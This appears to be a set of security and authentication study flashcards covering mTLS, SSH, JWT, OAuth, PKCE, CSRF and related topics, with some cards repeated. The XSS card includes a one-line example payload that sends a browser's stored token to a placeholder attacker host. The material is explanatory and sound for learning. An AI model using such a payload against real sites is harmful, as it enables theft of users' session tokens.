Security & Authentication

Question 1

What is mTLS?

Answer 1

Mutual TLS is a method for mutual authentication ensuring that both client and server are who they claim to be.

Question 2

Why would you need mTLS compared to other authentication solutions?

Answer 2

mTLS is useful for applications or devices that do not follow a login process. It also serves as an additional layer of security for an organization’s network or applications where a Zero Trust approach - which does not trust any user, device, or request by default - is necessary.

Question 3

How does mTLS work?

Answer 3

mTLS works with the following:

1. Client connects to server.
2. Server presents its cert and requests a client cert.
3. Client verifies server’s cert.
4. Client presents its cert.
5. Server verifies client’s cert.
6. Handshake completes; encrypted communication begins.

Question 4

What is TLS?

Answer 4

An encryption protocol in wide use on the Internet, formerly called SSL, that authenticates the server in a client server connection and encrypts communications between client and server.

Question 5

How does TLS (SSL) work?

Answer 5

A TSL certificate is issued to a server by a certificate authority. The certificate contains a public key, a statement of who issued the cert, and expiration date.

TLS works via the process of a handshake:
1. Client connects to server
2. Server presents TLS cert
3. Client verifies cert with cert authority
4. Client and server exchange information over a connected encrypted by the public key, which only the server can decrypt with its private key.

Question 6

What does mTLS prevent?

Answer 6

On-path attacks, spoofing attacks, credential stuffing, brute force attacks, Phishing attacks, malicious API requests

Question 7

What is an on-path attack?

Answer 7

On-path attacks, also known as man-in-the-middle attacks, are a type of cybersecurity threat that occurs when an attacker positions themselves between two devices and intercepts or modifies the communication between them

Question 8

What does SSH stand for?

Answer 8

Secure shell protocol

Question 9

How does SSH authentication work?

Answer 9

Using a public private key pair and a handshake process when the following steps:

1. Trust Setup: The client’s public key is manually added to the server’s authorized_keys file.
2. Encryption: The client and server run a key exchange (Diffie-Hellman) to establish a secure, encrypted tunnel.
3. Proposal: The client sends the identifier of the public key it wants to use.
4. Validation: The server checks if that key exists in its authorized_keys file.
5. Challenge: If the key is found, the server sends a random string of data (nonce) to the client.
6. Signature: The client signs this random string using its private key and sends the signature back.
7. Verification: The server verifies the signature using the copy of the public key it has on file.
8. Access: The server confirms identity and grants access to the shell session.

Question 10

What is an ssh agent?

Answer 10

A helper program that keeps track of users’ identities and their passphrases.

Question 11

What is the ssh-keygen command

Answer 11

It is a command used to generate a public private key pair.

Question 12

What is open SSH?

Answer 12

An open source implementation of the SSH protocol.

Question 13

What are the different algorithms used to encrypt an SSH key?

Answer 13

id_rsa (the default RSA algorithm), id_dsa, or id_ecdsa.

Question 14

What are some popular use cases of SSH

Answer 14

1. Remote login to servers (most common)
   • Connect to Linux servers, cloud VMs (AWS EC2, DigitalOcean, etc.)
   • Administer machines without physical access.

Example:
ssh user@server-ip

2. Secure file transfer

Using tools built on SSH:
• SCP (Secure Copy Protocol)
• SFTP (SSH File Transfer Protocol)

Example:
scp file user@server:/path/

3. Tunneling and port forwarding

SSH can forward traffic securely through an encrypted channel.

Local port forwarding (reach internal services on a remote machine)

ssh -L 8080:localhost:80 user@server

Remote port forwarding (expose a local service to a remote machine)

ssh -R 9000:localhost:3000 user@server

Use cases:
• Access private DBs safely
• Bypass firewalls
• Securely route traffic

Question 15

Why use SSH over another protocol?

Answer 15

Use SSH when you want passwordless authentication backed by asymmetric keys stored on your device. It’s ideal on trusted machines because your private key never leaves the laptop, and pushing code becomes frictionless. SSH avoids long-lived tokens or repeated credential entry, while still using a secure, encrypted channel like HTTPS.

Question 16

Difference between Authentication (AuthN) and Authorization (AuthZ)

Answer 16

DEFINITION: AuthN verifies identity (Who are you?). AuthZ verifies permissions (What can you do?).

STRATEGY: Handle AuthN first (logging in), then AuthZ (checking if that user is an admin).

IMPLEMENTATION:
- AuthN: User POSTs credentials to /login. Server validates hash, returns a JWT.
- AuthZ: User requests GET /admin. Middleware decodes JWT, checks roles: [‘admin’]. If missing, returns 403 Forbidden.

Question 17

Three common ‘factors’ of authentication

Answer 17

DEFINITION: 1. Knowledge (Password), 2. Possession (Phone/Token), 3. Inherence (Biometrics).

STRATEGY: Require 2 factors from DIFFERENT categories for MFA.

IMPLEMENTATION:
1. User enters password (Knowledge). Server stores partial session.
2. Server sends SMS code (Possession).
3. User submits code. Server upgrades session to authenticated.

Question 18

Hashing vs. Encryption for passwords

Answer 18

DEFINITION: Hashing is one-way (irreversible). Encryption is two-way (reversible). Passwords must be hashed.

STRATEGY: Even if DB is stolen, attackers cannot reverse hashes to login.

IMPLEMENTATION:
- Signup: hash = bcrypt.hash(password, 10). Store hash.
- Login: bcrypt.compare(input, stored_hash). Re-hashes input and checks for match.

Question 19

What is ‘Salting’?

Answer 19

DEFINITION: Adding a random string to a password before hashing.

STRATEGY: Prevents Rainbow Table attacks (pre-computed hash lists).

IMPLEMENTATION:
Libraries like bcrypt handle this auto-magically. They generate a random salt, prepend it to the password, hash it, and store the salt inside the final string.

Question 20

Which hashing algorithms are safe/unsafe?

Answer 20

DEFINITION: Safe: bcrypt, Argon2, scrypt (Slow). Unsafe: MD5, SHA-1 (Fast).

STRATEGY: Use slow algorithms (~500ms) to make brute-forcing expensive.

IMPLEMENTATION:
Configure ‘Work Factor’ (e.g., Argon2 iterations=3, memory=64MB) to force the CPU to work hard for every single login attempt.

Question 21

Difference between Authentication (AuthN) and Authorization (AuthZ)

Answer 21

DEFINITION: AuthN verifies identity (Who are you?). AuthZ verifies permissions (What can you do?).

STRATEGY: Handle AuthN first (logging in), then AuthZ (checking if that user is an admin).

IMPLEMENTATION:
- AuthN: User POSTs credentials to /login. Server validates hash, returns a JWT.
- AuthZ: User requests GET /admin. Middleware decodes JWT, checks roles: [‘admin’]. If missing, returns 403 Forbidden.

Question 22

Three common ‘factors’ of authentication

Answer 22

DEFINITION: 1. Knowledge (Password), 2. Possession (Phone/Token), 3. Inherence (Biometrics).

STRATEGY: Require 2 factors from DIFFERENT categories for MFA.

IMPLEMENTATION:
1. User enters password (Knowledge). Server stores partial session.
2. Server sends SMS code (Possession).
3. User submits code. Server upgrades session to authenticated.

Question 23

Hashing vs. Encryption for passwords

Answer 23

DEFINITION: Hashing is one-way (irreversible). Encryption is two-way (reversible). Passwords must be hashed.

STRATEGY: Even if DB is stolen, attackers cannot reverse hashes to login.

IMPLEMENTATION:
- Signup: hash = bcrypt.hash(password, 10). Store hash.
- Login: bcrypt.compare(input, stored_hash). Re-hashes input and checks for match.

Question 24

What is ‘Salting’?

Answer 24

DEFINITION: Adding a random string to a password before hashing.

STRATEGY: Prevents Rainbow Table attacks (pre-computed hash lists).

IMPLEMENTATION:
Libraries like bcrypt handle this auto-magically. They generate a random salt, prepend it to the password, hash it, and store the salt inside the final string.

Question 25

Which hashing algorithms are safe/unsafe?

Answer 25

DEFINITION: Safe: bcrypt, Argon2, scrypt (Slow). Unsafe: MD5, SHA-1 (Fast). STRATEGY: Use slow algorithms (~500ms) to make brute-forcing expensive. IMPLEMENTATION: Configure 'Work Factor' (e.g., Argon2 iterations=3, memory=64MB) to force the CPU to work hard for every single login attempt.

Question 26

Session-Based Authentication

Answer 26

DEFINITION: Server creates session ID, stores data in DB/Memory, sends ID as cookie. STRATEGY: Stateful. Best for strict security apps (Banking) where instant revocation is needed. IMPLEMENTATION: - Server: Redis SET session:123 '{ user: 5 }'. - Response: Set-Cookie: session_id=123; HttpOnly. - Request: Middleware reads Cookie, looks up Redis.

Question 27

Token-Based Authentication (JWT)

Answer 27

DEFINITION: Server issues signed token; Server verifies signature but stores nothing. STRATEGY: Stateless. Reduces DB load. Best for Microservices/Mobile. IMPLEMENTATION: - Issue: token = sign({ id: 123 }, PRIVATE_KEY). - Verify: Middleware extracts token, uses PUBLIC_KEY to verify signature math. No DB lookup needed.

Question 28

Three parts of a JWT

Answer 28

DEFINITION: Header, Payload, Signature. STRATEGY: Payload is readable by anyone (Base64). Signature is secure. IMPLEMENTATION: Structure: Base64(Header) . Base64(Payload) . Signature Signature Algorithm Determines Symmetric vs. Asymmetric: HMAC-SHA256 (Hash-Based Message Authentication Code – Secure Hash Algorithm 256-bit) → Symmetric Same shared secret is used to sign and verify. RSA (Rivest–Shamir–Adleman) / ECDSA (Elliptic Curve Digital Signature Algorithm) → Asymmetric Auth service signs using a private key; other services verify using a public key. Signature Creation Steps: Concatenate: Base64(Header) + "." + Base64(Payload) Sign using the algorithm specified in the Header: HMAC → use shared secret. RSA/ECDSA → use private key. Append signature as the third part of the JWT.

Question 29

Drawback of JWT vs. Sessions

Answer 29

DEFINITION: Revocation is hard. You cannot delete a token already on a user's phone. STRATEGY: Use short expiration times + Refresh Tokens. IMPLEMENTATION: Workaround: Implement a 'Deny List' in Redis. If user is banned, add their JWT ID (jti) to Redis with a short TTL.

Question 30

What is a Refresh Token?

Answer 30

DEFINITION: Long-lived token used solely to get new Access Tokens. STRATEGY: Limits exposure of the sensitive Access Token. IMPLEMENTATION: Client sends POST /refresh with Refresh Token. Server checks DB. If valid, issues new Access Token (15m) and rotates Refresh Token.

Question 31

What is OAuth 2.0?

Answer 31

DEFINITION: Framework for Delegated Authorization (e.g., 'Log in with Google'). STRATEGY: Don't handle user passwords. Rely on big providers. IMPLEMENTATION: User redirects to Google -> Agrees -> Google redirects back with ?code=xyz. Backend swaps code for Access Token.

Question 32

What is OpenID Connect (OIDC)?

Answer 32

DEFINITION: Identity layer on top of OAuth 2.0 providing an ID Token. STRATEGY: Standardizes how you get user profile info (Identity vs Access). IMPLEMENTATION: OIDC adds an id_token (JWT) to the response. App decodes it to get standard claims like name, email, and picture.

Question 33

4 Roles in OAuth 2.0

Answer 33

**Resource Owner → The user** Owns the data (for example, your Google Drive files). **Client → The application you’re using** Wants to access your data on your behalf (for example, Notion importing your Google Docs). **Authorization Server → The identity provider** Logs the user in and issues tokens (for example, Google Accounts). **Resource Server → The API holding the user’s data** The actual data system (for example, Google Drive API) IMPLEMENTATION: Client gets token from Auth Server. Client puts token in Header to call Resource Server. Resource Server validates token.

Question 34

OAuth2.0 Code Flow

Answer 34

DEFINITION: User logs in -> Auth Server returns Code -> Backend exchanges Code for Token. STRATEGY: Gold Standard. Keeps Access Tokens out of browser URL. IMPLEMENTATION: **Authorization Request:** The client application redirects the user to the authorization server, requesting permission to access specific data. **User Authentication and Consent:** The user logs in to their account on the authorization server. They are then shown the requested permissions and can approve or deny them. **Authorization Code Grant:** The authorization server sends an "authorization code" back to the client application via a redirect URI. This code is not the access token itself. **Token Exchange:** The client application sends the authorization code, along with its own credentials, to the authorization server's token endpoint. **Access Token Issued:** The authorization server validates the code and credentials and, if valid, issues an access token and sometimes a "refresh token" to the client application. **Resource Access:** The client application uses the access token to make requests to the resource server to access the user's data

Question 35

Safest place to store JWT in browser

Answer 35

DEFINITION: HttpOnly Cookie. STRATEGY: Makes token invisible to JavaScript, preventing XSS theft. IMPLEMENTATION: Set-Cookie: token=xyz; HttpOnly; Secure; SameSite=Strict. document.cookie returns empty string to JS, but browser still sends it on requests.

Question 36

What is XSS (Cross-Site Scripting)?

Answer 36

DEFINITION: Injecting malicious scripts into a trusted site. STRATEGY: If successful, attackers steal LocalStorage tokens. IMPLEMENTATION: Attack: in script tags: fetch('evil.com?data='+localStorage.getItem('token')). Like in an insecure comments sections or something. Defense: Content Security Policy (CSP) headers.

Question 37

What is CSRF?

Answer 37

Cross-Site Request Forgery DEFINITION: a cyberattack where a malicious website tricks a logged-in user's browser into sending a forged, unwanted request to a trusted web application, exploiting the browser's automatic inclusion of session cookies to perform actions like changing passwords, transferring funds, or making purchases without the user's knowledge. STRATEGY: Exploits cookies being sent automatically. IMPLEMENTATION: Attack: Hidden form on evil.com auto-submits to bank.com/transfer. Browser sends bank cookies. Bank processes it.

Question 38

How to prevent CSRF

Answer 38

DEFINITION: Anti-CSRF Tokens or SameSite cookies. STRATEGY: Require data the browser doesn't send automatically. IMPLEMENTATION: Double Submit Cookie: Server sends random cookie. Client reads it and puts it in Header X-CSRF-Token. Server checks if Cookie == Header.

Question 39

What is a Replay Attack?

Answer 39

DEFINITION: Intercepting a valid request and sending it again. STRATEGY: Prevent attackers from repeating a transaction. IMPLEMENTATION: Include timestamp and nonce (random ID) in request. Server rejects if nonce is seen before or timestamp is old.

Question 40

What is SSO (Single Sign-On)?

Answer 40

DEFINITION: Logging in once to access multiple systems. STRATEGY: Centralizes identity (IdP). Avoids credential fatigue. IMPLEMENTATION: User logs into IdP once (cookie set). When visiting App B, App B redirects to IdP. IdP sees cookie and instantly issues token. Cookie is set in browser as http only and is sent every request.

Question 41

What is PKCE (Pixie)?

Answer 41

DEFINITION: Proof Key for Code Exchange. Protects OAuth on mobile/public clients. Note: the client secret is not the auth token. And PKCE is not protecting access tokens. It’s protecting the authorization code step before tokens exist. STRATEGY: Replaces static client_secret with dynamic hash. IMPLEMENTATION: **1. Your app generates a random string** Called the code_verifier (e.g., 64-char random value). **2. Your app hashes it** Creates a code_challenge = SHA-256(code_verifier). **3. Redirect user to the IdP** Your app sends: /authorize? response_type=code code_challenge= code_challenge_method=S256 **4. User logs in at the IdP** IdP authenticates the user. **5. IdP redirects back to your app** With an authorization code (NOT the token yet): /callback?code=abc123 **6. Your app exchanges the code for tokens** Your server makes a POST request to the IdP: POST /token { code: "abc123", code_verifier: } **7. IdP verifies PKCE** IdP checks: SHA-256(code_verifier) === code_challenge If true → the request is legitimate. **8. IdP returns tokens** Such as: access_token id_token (if OIDC) refresh_token (optional) | Context: https://chatgpt.com/share/6939830b-1a20-800d-b535-177fb648dbc6

Question 42

Symmetric vs Asymmetric Encryption in Auth

Answer 42

DEFINITION:Symmetric cryptography → Uses one shared secret key for both signing and verification (for example, HMAC: Hash-Based Message Authentication Code). Asymmetric cryptography → Uses a key pair: a private key for signing and a public key for verification (for example, RSA: Rivest–Shamir–Adleman). Use: Asymmetric is safer for Microservices.

Question 43

SAML vs OIDC

Answer 43

DEFINITION: SAML (XML/Enterprise). OIDC (JSON/Modern). STRATEGY: Use SAML for legacy enterprise (AD). OIDC for modern apps. IMPLEMENTATION: SAML sends massive XML response. OIDC sends compact JSON Web Token.

Question 44

RBAC vs ABAC

Answer 44

DEFINITION: RBAC (Role-Based Acess Control). ABAC (Attribute-Based Access Control). STRATEGY: RBAC is simple (Admin vs User). ABAC is granular (Time/Location/Dept). IMPLEMENTATION: RBAC: if (user.role == 'admin') ABAC: if (user.dept == resource.dept && time < 5pm)

Question 45

API Keys vs Bearer Tokens

Answer 45

DEFINITION: API Keys = Project Identity. Bearer Tokens = User Identity. STRATEGY: API Keys for server-to-server. Tokens for users. IMPLEMENTATION: API Key: Header x-api-key: abc. Checked against DB (fast). Bearer Token: Header Authorization: Bearer xyz. Validated via signature.

Question 46

What is Credential Stuffing?

Answer 46

DEFINITION: Automated injection of breached username/passwords. STRATEGY: Mitigation: Rate Limiting and CAPTCHAs. IMPLEMENTATION: WAF blocks IPs with >10 failed logins/min. Trigger Recaptcha on suspicious attempts.

Question 47

What is Session Fixation?

Answer 47

DEFINITION: Attacker sets user's session ID *before* login. STRATEGY: Always regenerate session ID after login. IMPLEMENTATION: On successful login(), call session.regenerate() to issue fresh ID, invalidating the attacker's planted ID.

Question 48

How does TOTP (Google Auth) work?

Answer 48

DEFINITION: Shared Secret + Current Time = 6 digit code. STRATEGY: Offline 2FA. IMPLEMENTATION: HMAC-SHA1(Secret, timestamp/30). Truncate hash to 6 digits. Server and Phone do same math.

Question 49

What is 'State' parameter in OAuth?

Answer 49

DEFINITION: Random string sent to Auth Server and returned unchanged. STRATEGY: Prevents CSRF in OAuth flow. IMPLEMENTATION: Client saves state=xyz. Redirects. On return, checks if url_param.state == stored_state.

Question 50

What are 'Magic Links'?

Answer 50

DEFINITION: Passwordless authentication → User logs in through a one-time URL sent to their email instead of entering a password. STRATEGY: Low friction: No password to remember. Reduced attack surface: Eliminates password reuse, brute force attacks, and credential stuffing. IMPLEMENTATION: Generate a random, single-use login token. Store it in Redis with a TTL (Time To Live) of 15 minutes. Email the login link containing the token to the user. When the user clicks the link: Validate the token in Redis. Create a session for the user. Delete the token to prevent reuse.

Question 51

What is JWKS?

Answer 51

DEFINITION: JSON Web Key Set. Endpoint publishing Public Keys. STRATEGY: Automates key rotation. IMPLEMENTATION: Auth Server exposes /.well-known/jwks.json. Resource Server downloads it to verify JWT signatures. Yes, effectively. The public keys (JWKS) allow the Identity Provider (IdP) to prove that it was the one that created the token. Here is the logic: The Private Key (Held by IdP): Only the IdP has this. They use it to "sign" the token. This is like a King using his personal signet ring to stamp a document. The Public Key (Held by You/JWKS): Everyone can see this. You use it to check the signature. The Proof: If the Public Key successfully validates the signature on the token, it mathematically proves that only the entity holding the Private Key (the IdP) could have created it.

Question 52

What are OAuth 'Scopes'?

Answer 52

DEFINITION: Permissions defining extent of access (read:email). STRATEGY: Principle of Least Privilege. IMPLEMENTATION: Token contains scope: 'read:posts'. API checks if (!token.scope.includes('write')) -> 403.

Question 53

What is WebAuthn / FIDO2?

Answer 53

DEFINITION: Standard for hardware-backed passwordless auth (TouchID/YubiKey). STRATEGY: Phishing-resistant. Private Key never leaves device. IMPLEMENTATION: Device generates Key Pair. Sends Public Key to server. To auth, device signs challenge with Private Key.

Question 54

What is an Opaque Token?

Answer 54

DEFINITION: Random string with no meaning. Requires server lookup (Introspection). Layer on top of Oauth2.0 STRATEGY: High security control. Instant revocation. IMPLEMENTATION: API receives token -> Calls POST /introspect to Auth Server -> Auth Server checks DB -> Returns active: true. ## Footnote https://docs.secureauth.com/ciam/en/opaque-token--concept,-purpose,-way-it-works.html

Question 55

Padding Oracle Attack

Answer 55

1. Definition A padding oracle attack is when an attacker can decrypt information by watching how a system reacts to invalid padding during decryption. The system’s error messages become an “oracle” that leaks information. ⸻ 2. Strategy (How to Prevent It) Use Authenticated Encryption, especially: AES-GCM (Advanced Encryption Standard — Galois/Counter Mode) Why? Because AES-GCM checks integrity before decryption, meaning: • No padding errors are leaked • No useful information is exposed

Question 56

Man-in-the-Middle (MitM) Attack

Answer 56

DEFINITION: Intercepting traffic between client and server. STRATEGY: Enforce HTTPS / HSTS. IMPLEMENTATION: Header Strict-Transport-Security tells browser to refuse HTTP connections. Mobile apps use Cert Pinning.

Question 57

Client ID vs Client Secret

Answer 57

DEFINITION: ID = Username (Public). Secret = Password (Private). STRATEGY: Native apps cannot store Secrets safely. IMPLEMENTATION: Server-side apps send Auth code, client id, Secret in Basic Auth header. Mobile apps use PKCE instead. Note that during registration, client secret and id are provided to IdP. The client registers with SSO, a client ID is generated that identifies the client and a random secret is also generated, both the SSO and client store this data.

Question 58

What is Token Introspection?

Answer 58

**What it is:** Authorization server hosts an endpoint that lets an API check whether an access token is valid, active, and which user it belongs to. **When or why it is used:** Used when tokens are opaque or when you need to support revoking JWTs or verifying real-time permissions. Note on opacity: Opaque tokens are used when you want central control — the Authorization Server can revoke tokens instantly, change user permissions mid-session, and prevent APIs from trusting outdated or compromised tokens. JWTs cannot be revoked unless APIs check back with the Authorization Server, which defeats their “self-contained” purpose. **Example:** An API receives a token and sends POST /introspect { token } to the Authorization Server, which replies { active: true, sub: "user_123" } so the API knows the request is legitimate.A server endpoint that lets an API check whether an access token is valid, active, and which user it belongs to. When or why it is used: Used when tokens are opaque or when you need to support revoking JWTs or verifying real-time permissions. Example: An API receives a token and sends POST /introspect { token } to the Authorization Server, which replies { active: true, sub: "user_123" } so the API knows the request is legitimate.

Question 59

What is Zero Trust?

Answer 59

DEFINITION: Assume no user/device is trustworthy, even inside network. STRATEGY: Authenticate every request. IMPLEMENTATION: mTLS: Services require client certificates. Identity Aware Proxy: Validates JWT before forwarding to app.

Question 60

Confused Deputy Problem

Answer 60

DEFINITION: Privileged entity tricked into misusing authority. STRATEGY: Ensure requestor is authorized for specific target. IMPLEMENTATION: AWS: Use ExternalId in role trust policy to prevent cross-customer role assumption. ExternalId adds a shared secret between your trusted partner and your AWS account.

Question 61

Why would you not use SSH over another protocol?

Answer 61

* **Port 22 blocked** - corporate, school, hotel, or airport networks often restrict SSH bc it’s used for port forwarding and tunneling. * **Ephemeral/CI environments** — runners can’t safely store private keys; HTTPS + tokens is easier. * **Shared or semi-trusted machines** — you don’t want long-lived SSH keys sitting on disk. * **Quick setup on a new device** — HTTPS works immediately; SSH requires key generation + upload. * **Need scoped or revocable permissions** — HTTPS tokens allow fine-grained scopes and expiration. * **Scripts requiring minimal config** — HTTPS avoids SSH agent + known_hosts setup. * **Enterprise governance** — some orgs enforce token-based access for auditability.

Question 62

One reason why you would prefer short-lived tokens?

Answer 62

Because short-lived tokens limit blast radius. If stolen, they expire quickly and are scope-restricted. SSH keys are long-lived, high-privilege credentials—if the private key is stolen, an attacker has full access until you manually revoke it.

Question 63

Aren’t short-lived tokens still dependent on a separate login like email + password, which could be stolen?

Answer 63

In practice, token issuance sits behind MFA/SSO, so password theft alone can’t mint a new token. Tokens assume credential compromise is possible and reduce damage by being temporary, while SSH keys provide no expiry and no built-in MFA protection.

Question 64

Why is mTLS mostly used for machine-to-machine auth, not people?

Answer 64

Humans switch devices, lose laptops, use phones, and use browsers—client certificates don’t migrate cleanly between these contexts. Machines don’t have that problem, so certificate distribution, rotation, and revocation work smoothly in automated environments.

Question 65

Session auth vs JWT auth

Answer 65

Session-Based Authentication • Stateful: Server stores session in DB/Memory (e.g., Redis). • Revocation: Instant—delete session server-side. • Security: Cookie holds only opaque ID (no readable data). • Use Case: Banking, high-security apps, short lived interactive sessions. JSON Web Token (JWT) Authentication • Stateless: No server-side storage; token is self-contained. • Revocation: Hard—valid until expiration unless you add blacklists. • Security: Claims are readable; if stolen, attacker has access until expiry. • Use Case: Distributed systems, microservices, APIs, large-scale architectures.

Question 66

Why not use symmetric signing for microservices?

Answer 66

Every service must share one secret key. If any service is compromised, attacker can forge tokens. Asymmetric avoids this: Auth service signs with private key; others only verify using public key, preventing token forgery.

Question 67

When is symmetric encryption used?

Answer 67

Data at rest (databases, disks, backups) → fast + efficient. Data in transit after handshake (TLS switches to AES for bulk encryption). Small, closed systems where only 1–2 services verify (HMAC: Hash-Based Message Authentication Code). Webhook/API key verification (simple 1:1 trust). Low-power devices (IoT) where asymmetric math is expensive.

Question 68

OAuth 2.0

Answer 68

What it is: A delegated authorization framework — it lets an app access a user’s data on another service without knowing their password. When or why it’s used: Used when you only need API access, not user identity. OAuth gives you access tokens, not information about who the user is. Example: An app uses GitHub OAuth to get permission to read a user’s repositories. GitHub returns an access token; the app does not automatically know the user's email or profile unless it calls a separate endpoint.

Question 69

Oauth2.0 + OIDC

Answer 69

**What it is:** OAuth 2.0 plus an identity layer, adding an ID Token (a JWT) that contains verified user profile claims. **When or why it’s used:** Used when you want to authenticate the user (log them in) and receive standardized info like name, email, and unique user ID. **Example:** “Sign in with Google” returns both: an access token (for calling Google APIs) an ID token (for identifying who logged in) Your app decodes the ID token to know things like: "sub": "12345", "email": "user@gmail.com" OIDC is the layer on top of OAuth2.0 - a strictly authorization tool - that enables authenticatin

Question 70

Is SSH an authentication protocol or a communication protocol?

Answer 70

SSH is both. 1. SSH is a communication protocol It creates a secure, encrypted channel over an insecure network. All data sent between client and server is encrypted (AES, ChaCha20, etc.). 2. SSH is also an authentication protocol It authenticates: The server (via host keys) The user (via passwords or public keys) It does not use “tokens”; it uses cryptographic challenges.